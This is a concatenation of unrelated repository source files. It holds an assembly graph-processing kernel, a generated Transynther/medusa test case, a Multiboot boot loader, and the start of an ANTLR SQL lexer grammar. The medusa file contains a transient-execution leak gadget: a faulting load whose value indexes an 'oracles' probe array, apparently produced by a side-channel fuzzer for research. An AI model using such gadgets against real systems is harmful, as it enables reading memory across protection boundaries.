vertex ; verify that the top bit is set and, if not, skip the vertex entirely vpextrq r8, xmm_elist, 0 vpextrq r9, xmm_emask, 0 bt r9, 63 jnc edge_push_iteration_update_2_start edge_push_iteration_update_1_loop: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE ; begin an update transaction xbegin edge_push_iteration_update_1_loop ENDIF ENDIF ENDIF ; read the destination vertex's current value vmovq xmm0, QWORD PTR [r_vprop+8*r8] ; set aside the current value for "cmpxchg" below, which implicitly uses rax vmovq rax, xmm0 ; aggregate with the outgoing message using the "min" operation for CC vminpd xmm1, xmm0, xmm_smsgout ; if the message does not change the value of the vertex, skip to the next one ; the result of this comparison is all '1's in the lower position of xmm1 if the value has changed ; then the bit test will result in CF being set, so if it is not set then skip over the write vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jc edge_push_iteration_update_1_write IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE ; terminate the transaction early, since this update is being skipped xend ENDIF ENDIF ENDIF jmp edge_push_iteration_update_2_start edge_push_iteration_update_1_write: IFDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC ; write back the aggregated property vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM ; write back the aggregated property vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE ; atomically update the aggregated property vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_iteration_update_1_loop ENDIF ENDIF IFDEF EXPERIMENT_PUSH_WITHOUT_SYNC IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC ; immediately add the vertex to HasInfo (an asynchronous frontier update) phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF ; add the vertex to HasInfo* phase_helper_bitmask_set_nosync r_vaccum, r8 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC ; immediately add the vertex to HasInfo (an asynchronous frontier update) phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF ; add the vertex to HasInfo* phase_helper_bitmask_set_nosync r_vaccum, r8 IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE ; commit the transaction xend ENDIF ELSE IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC ; immediately add the vertex to HasInfo (an asynchronous frontier update) phase_helper_bitmask_set r_frontier, r8 ENDIF ; add the vertex to HasInfo* phase_helper_bitmask_set r_vaccum, r8 ENDIF ENDIF ; increase the count of vertices that changed, for convergence detection and next algorithm iteration's engine selection vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_iteration_update_2_start: ; same as above vpextrq r8, xmm_elist, 1 vpextrq r9, xmm_emask, 1 bt r9, 63 jnc edge_push_iteration_update_3_start edge_push_iteration_update_2_loop: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xbegin edge_push_iteration_update_2_loop ENDIF ENDIF ENDIF vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jc edge_push_iteration_update_2_write IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ENDIF ENDIF jmp edge_push_iteration_update_3_start edge_push_iteration_update_2_write: IFDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_iteration_update_2_loop ENDIF ENDIF IFDEF EXPERIMENT_PUSH_WITHOUT_SYNC IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ELSE IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 ENDIF ENDIF vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_iteration_update_3_start: ; same as above, except move to the upper 128 bits of the edge list and mask registers vextracti128 xmm_elist, ymm_elist, 1 vextracti128 xmm_emask, ymm_emask, 1 vpextrq r8, xmm_elist, 0 vpextrq r9, xmm_emask, 0 bt r9, 63 jnc edge_push_iteration_update_4_start edge_push_iteration_update_3_loop: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xbegin edge_push_iteration_update_3_loop ENDIF ENDIF ENDIF vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jc edge_push_iteration_update_3_write IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ENDIF ENDIF jmp edge_push_iteration_update_4_start edge_push_iteration_update_3_write: IFDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_iteration_update_3_loop ENDIF ENDIF IFDEF EXPERIMENT_PUSH_WITHOUT_SYNC IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ELSE IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 ENDIF ENDIF vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_iteration_update_4_start: ; same as above vpextrq r8, xmm_elist, 1 vpextrq r9, xmm_emask, 1 bt r9 , 63 jnc edge_push_iteration_update_commit edge_push_iteration_update_4_loop: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xbegin edge_push_iteration_update_4_loop ENDIF ENDIF ENDIF vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jc edge_push_iteration_update_4_write IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ENDIF ENDIF jmp edge_push_iteration_update_commit edge_push_iteration_update_4_write: IFDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM vmovq QWORD PTR [r_vprop+8*r8], xmm1 ELSE vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_iteration_update_4_loop ENDIF ENDIF IFDEF EXPERIMENT_PUSH_WITHOUT_SYNC IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 ELSE IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set_nosync r_frontier, r8 ENDIF phase_helper_bitmask_set_nosync r_vaccum, r8 IFNDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE xend ENDIF ELSE IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 ENDIF ENDIF vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_iteration_update_commit: IFNDEF EXPERIMENT_EDGE_PUSH_WITHOUT_SYNC IFDEF EXPERIMENT_EDGE_PUSH_WITH_HTM IFDEF EXPERIMENT_EDGE_PUSH_HTM_SINGLE ; if using HTM and only doing a single transaction, commit it here xend ENDIF IFDEF EXPERIMENT_EDGE_PUSH_HTM_ATOMIC_FALLBACK ; if using HTM and with atomic fallback, jump over that code jmp edge_push_fallback_iteration_done ; this is just the atomic code from above, condensed for space, and placed here to enable an atomic fallback path edge_push_fallback_iteration_update_1_start: vpextrq r8, xmm_elist, 0 vpextrq r9, xmm_emask, 0 bt r9, 63 jnc edge_push_fallback_iteration_update_2_start edge_push_fallback_iteration_update_1_loop: vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jnc edge_push_fallback_iteration_update_2_start vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_fallback_iteration_update_1_loop IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_fallback_iteration_update_2_start: vpextrq r8, xmm_elist, 1 vpextrq r9, xmm_emask, 1 bt r9, 63 jnc edge_push_fallback_iteration_update_3_start edge_push_fallback_iteration_update_2_loop: vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jnc edge_push_fallback_iteration_update_3_start vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_fallback_iteration_update_2_loop IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_fallback_iteration_update_3_start: vextracti128 xmm_elist, ymm_elist, 1 vextracti128 xmm_emask, ymm_emask, 1 vpextrq r8, xmm_elist, 0 vpextrq r9, xmm_emask, 0 bt r9, 63 jnc edge_push_fallback_iteration_update_4_start edge_push_fallback_iteration_update_3_loop: vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jnc edge_push_fallback_iteration_update_4_start vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_fallback_iteration_update_3_loop IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_fallback_iteration_update_4_start: vpextrq r8, xmm_elist, 1 vpextrq r9, xmm_emask, 1 bt r9 , 63 jnc edge_push_fallback_iteration_done edge_push_fallback_iteration_update_4_loop: vmovq xmm0, QWORD PTR [r_vprop+8*r8] vmovq rax, xmm0 vminpd xmm1, xmm0, xmm_smsgout vcmpneqpd xmm0, xmm0, xmm1 vmovq rdx, xmm0 bt rdx, 63 jnc edge_push_fallback_iteration_done vmovq rcx, xmm1 lock cmpxchg QWORD PTR [r_vprop+8*r8], rcx jne edge_push_fallback_iteration_update_4_loop IFNDEF EXPERIMENT_FRONTIERS_WITHOUT_ASYNC phase_helper_bitmask_set r_frontier, r8 ENDIF phase_helper_bitmask_set r_vaccum, r8 vpextrq rax, xmm_globaccum, 0 phase_helper_add_frontier_stat rax, r8 vpinsrq xmm_globaccum, xmm_globaccum, rax, 0 edge_push_fallback_iteration_done: ENDIF ENDIF ENDIF ; iteration complete edge_push_iteration_done: ENDM ; --------- PHASE CONTROL FUNCTION -------------------------------------------- ; See "phases.h" for documentation. perform_edge_push_phase_cc PROC PUBLIC ; save non-volatile registers used throughout this phase push rbx push rsi push rdi push r12 push r13 push r14 push r15 ; set the base address for the current edge list block mov r_edgelist, rcx ; set aside the number of vectors (parameter, rdx) vextracti128 xmm0, ymm_addrstash, 1 vpinsrq xmm0, xmm0, rdx, 1 vinserti128 ymm_addrstash, ymm_addrstash, xmm0, 1 ; initialize edge_push_op_initialize ; get this thread's first work assignment scheduler_get_first_assigned_unit xor rsi, rsi edge_push_phase_work_start: ; check if there is a work assignment for this thread and, if not, the Edge-Push phase is done cmp rax, 0 jl done_edge_push_phase ; retrieve the number of vectors into rdx vextracti128 xmm0, ymm_addrstash, 1 vpextrq rdx, xmm0, 1 ; get the work assignment for this thread mov rcx, rax mov r8, rsi scheduler_assign_work_for_unit ; if the last time around we found that no vertices were active until after this unit of work, skip this unit of work cmp r8, rdi cmova rsi, r8 ja done_edge_push_loop ; if the last time around we found an active vertex somewhere in the middle of this unit of work, skip to that vertex cmp r8, rsi cmova rsi, r8 ; verify we still have work to do, and if not, skip this unit of work cmp rsi, rdi jge done_edge_push_loop ; load the vertex index threads_helper_get_thread_group_id eax mov r_vindex, QWORD PTR [graph_vertex_scatter_index_numa] mov r_vindex, QWORD PTR [r_vindex+8*rax] ; compute the number of elements valid for this NUMA node's frontier searches ; valid frontier bits are numbered from 0 to the last shared vertex in this node's edge list ; of course, this node will only start searching based on its edge list assignment ; each frontier element holds 64 vertices, so divide by 64 (shift right by 6) to obtain the proper element count ; increment once more to compensate for any remainders left over mov r_frontiercount, QWORD PTR [graph_vertex_scatter_index_end_numa] mov r_frontiercount, QWORD PTR [r_frontiercount+8*rax] inc r_frontiercount shr r_frontiercount, 6 inc r_frontiercount ; main Edge-Push phase loop edge_push_phase_loop: cmp rsi, rdi jae done_edge_push_loop mov rcx, rsi edge_push_op_iteration_at_index inc rsi jmp edge_push_phase_loop done_edge_push_loop: ; get this thread's next work assignment scheduler_get_next_assigned_unit jmp edge_push_phase_work_start done_edge_push_phase: ; restore non-volatile registers and return pop r15 pop r14 pop r13 pop r12 pop rdi pop rsi pop rbx ret perform_edge_push_phase_cc ENDP _TEXT ENDS END
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_1327_1511.asm
ljhsiun2/medusa
9
84073
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x5d50, %rdi nop dec %r14 movb (%rdi), %r15b nop nop nop nop nop and $26158, %rcx lea addresses_A_ht+0x15b00, %rsi lea addresses_normal_ht+0xcb00, %rdi nop nop nop nop add $49741, %rax mov $111, %rcx rep movsl nop nop nop nop nop xor %rdi, %rdi lea addresses_normal_ht+0x14460, %rcx nop xor %rsi, %rsi mov (%rcx), %r15 nop nop xor $49418, %r15 lea addresses_WT_ht+0x1c100, %rsi nop xor $37320, %r10 movw $0x6162, (%rsi) nop nop cmp %r10, %r10 lea addresses_normal_ht+0x4630, %rdi nop nop nop nop add $43074, %r14 mov (%rdi), %r15d nop nop nop nop nop add $8934, %rsi lea addresses_A_ht+0x1c200, %r14 nop nop nop cmp %rsi, %rsi mov (%r14), %rcx nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x15068, %rsi lea addresses_D_ht+0x13300, %rdi nop nop nop nop inc %r9 mov $47, %rcx rep movsl nop xor $49200, %r14 lea addresses_normal_ht+0xbfd7, %r9 nop nop nop nop nop xor $3227, %rsi mov (%r9), %r14w dec %r9 lea addresses_A_ht+0x10600, %r15 nop xor %r9, %r9 mov (%r15), %r10w nop nop nop xor %r15, %r15 lea addresses_normal_ht+0x8dc0, %rdi nop nop nop nop nop cmp %r14, %r14 movl $0x61626364, (%rdi) nop nop nop xor %r14, %r14 lea addresses_D_ht+0xb748, %rsi xor $62661, %rcx mov (%rsi), %r15d nop xor $4618, %r9 lea addresses_WT_ht+0x7940, %rsi lea addresses_A_ht+0x1de20, %rdi nop nop and $61780, %r15 mov $35, %rcx rep movsl nop nop nop nop nop and $27012, %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rcx push %rdi push %rsi // Store lea addresses_WC+0x2300, %r8 nop nop add %r10, %r10 mov $0x5152535455565758, %r13 movq %r13, %xmm2 movaps %xmm2, (%r8) nop nop nop nop nop cmp $34294, %r8 // REPMOV lea addresses_US+0x3b00, %rsi lea addresses_PSE+0x2b38, %rdi nop nop xor %r12, %r12 mov $59, %rcx rep movsw and %r10, %r10 // Faulty Load mov $0x5c7d110000000b00, %r10 nop nop nop cmp $41945, %r11 mov (%r10), %rcx lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'00': 1327} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
src/kernel/boot.asm
mhinz/flauschix
6
9541
; Copyright (c) 2013 <NAME> ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; - Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; - Neither the name of the author nor the names of its contributors may be used ; to endorse or promote products derived from this software without specific ; prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. align 4 extern kmain global loader global magic global mboot MODULEALIGN equ 1<<0 MEMINFO equ 1<<1 FLAGS equ MODULEALIGN | MEMINFO MAGIC equ 0x1BADB002 CHECKSUM equ -(MAGIC + FLAGS) STACKSIZE equ 0x4000 ; 16k kernel stack section .bss stack: resb STACKSIZE magic: resd 1 mboot: resd 1 section .text dd MAGIC dd FLAGS dd CHECKSUM loader: mov esp, stack + STACKSIZE ; initialize stack pointer mov [magic], eax mov [mboot], ebx cli call kmain jmp $
src/main/java/db/parser/TinyDBLexer.g4
JunguangJiang/TinyDB
1
2494
<gh_stars>1-10 /* MySQL (Positive Technologies) grammar The MIT License (MIT). Copyright (c) 2015-2017, <NAME> (<EMAIL>), Positive Technologies. Copyright (c) 2017, <NAME> (<EMAIL>) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ lexer grammar TinyDBLexer; channels { MYSQLCOMMENT, ERRORCHANNEL } // SKIP SPACE: [ \t\r\n]+ -> channel(HIDDEN); SPEC_MYSQL_COMMENT: '/*!' .+? '*/' -> channel(MYSQLCOMMENT); COMMENT_INPUT: '/*' .*? '*/' -> channel(HIDDEN); LINE_COMMENT: ( ('-- ' | '#') ~[\r\n]* ('\r'? '\n' | EOF) | '--' ('\r'? '\n' | EOF) ) -> channel(HIDDEN); // Keywords // Common Keywords AND: 'AND'; AS: 'AS'; ASC: 'ASC'; BY: 'BY'; CREATE: 'CREATE'; CROSS: 'CROSS'; DATABASE: 'DATABASE'; DATABASES: 'DATABASES'; DEFAULT: 